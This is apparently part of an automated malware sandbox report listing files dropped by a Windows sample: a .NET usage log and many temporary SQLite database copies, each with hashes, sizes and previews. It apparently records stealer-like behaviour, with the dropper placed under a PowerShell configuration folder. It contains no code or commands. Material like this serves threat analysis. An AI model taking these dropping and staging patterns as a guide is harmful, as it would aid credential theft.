Preview:	peHASBZ7muDi8P3VFomsrTRj3GEplV1vDQSQLp2sz8I7cuMHgMAwWlQVMhGM6tWR3Rer7mKZv42tKUGJ47JZVEYcA6DniqvFm0DKPeJ3BkBbsgK2a7R9k66y3CrBjg0EJxHTQ64ZxPYuD6udvLMlYvep4PRMxIUet6S4Y0meC1LUhLv6SNPYTPqXSbZBormp53BHozE4isjhjJHseV4j26KeQ4l7blzVOgYoKnRcIVzlqIyJTrgTwDw9sg1tNHd72NSDudh0DcbhGjyHGcntEfiLtZ6owhOB11sc0vY0JqQUlP3Istnvdt3XpGTVg3EfNapP0WRVExkYPNjegx5C4dhI8VwtbCTQluHLjnSWcSrqJeHchyzt7Blt2hQfjh3BeUwfFX52fjjlw18eOUMnMjSkJYTBXww4ZpLzrmWJ37OYb97BiwRPVQy4BMVrE3esxoMGpJwl7CuPV4IJaSclfgjJ0RxfQoF9cfkxw0VZApRTfjjHEMRvb3MRFDPYWQVT7uwzTVWk6Dk0OQnRsqbEXTijTTrtk7DtT8VvxtxszqzXSVCza8qpzR6oMMgAnn99A1gQ42d82sOqeKQ7R1SmRX4CBrikNxFMrzXbzv5ierwGCPKC6iswUWsm7eOMT3vFnC8owzIf6uIjkx9vhgooES1UHueUgsOk6rdAQfPGaNzkOJCJecpxOGBUKnhBVx9Nfhm3U9fBQhO1cQG7sU0DCbW0pIzm8NvmNmFqgIze7ngr2K14hjTA75KDLwNLK2DDwln0LZbjfVFZ5o8fQ5FY3upSbCfu4nUFkd4QgAtHItflzvHgxs4PwoJB5VZJ4qo1BAyctr8QL8QKOEcp486MtFS5T3VLkkNbFojz6pwGtoDyY9x12uO5ucI5r3I0WxplvyEkensOM0cECegUFdT0VRrmgoHDh5t69bDj4MWOCAt49D3NWyu2eyQdGbE0forQGgFka7Z3H

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\aW6kSsgdvv.exe.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	5.367720686892084
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4x:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4x
MD5:	2C0A3C5388C3FAAFA50C8FB701A28891
SHA1:	D75655E5C231DE60C96FD196658C429E155BEB0F
SHA-256:	A44CB861DDF882F48202B95D3A8A535419C1AE0386666C84B803F9810473EDD7
SHA-512:	0343301C34ED4FEB7EFF30186862EBC7446E6044955B3088B0BE0D86A3DACAE1BFC407A59D385E9CBB7A0DEF210DC3405FD442A598FD28431371E249F748258A
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Temp\09WrbW7v6g

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0N4AJQeefi

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0qP72e3fzG

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0sDxojoOMu

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0vGpeAouH8

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1GBRyFhW0O

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1a70ZM7Zur

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1nQK3NgiHe

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1rvRFG07wI

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\24VGEROb9U

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\25IhLhubHw

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2aBXW5mUaK

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2uOqkCKtta

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.483856189774723
Encrypted:	false
SSDEEP:	3:1ZaoGjPG:v4O
MD5:	F80E52787B230D9C11DA08D7C6F2C2D0
SHA1:	CB2068C647211E091786523F6E5A34951C52D320
SHA-256:	D991CC402C7618F340B33FB631FB0339CD983BF3CA2D1356F8053823FBB56A8D
SHA-512:	1771C3E4849327912D413EDDE69608E0AEA20D6B8DC6587C95EDD99F22656B2CD088F9C302122473181731BEA1F92F17C2A03CDF8A996963921B5CE1B361C100
Malicious:	false
Preview:	WzRwaVG3gDrCXM0i8uwFgevtE

C:\Users\user\AppData\Local\Temp\31V1ECxSiJ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\33AGqzgl24

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\36ricUAfpQ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\37FHuuOSxc

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3QUjEXr1wk

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3VsPiFb30F

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3Wqcham4gg

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3eUNx5f3sH

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3hblfHyEUR

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3k9mFzXNqc

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
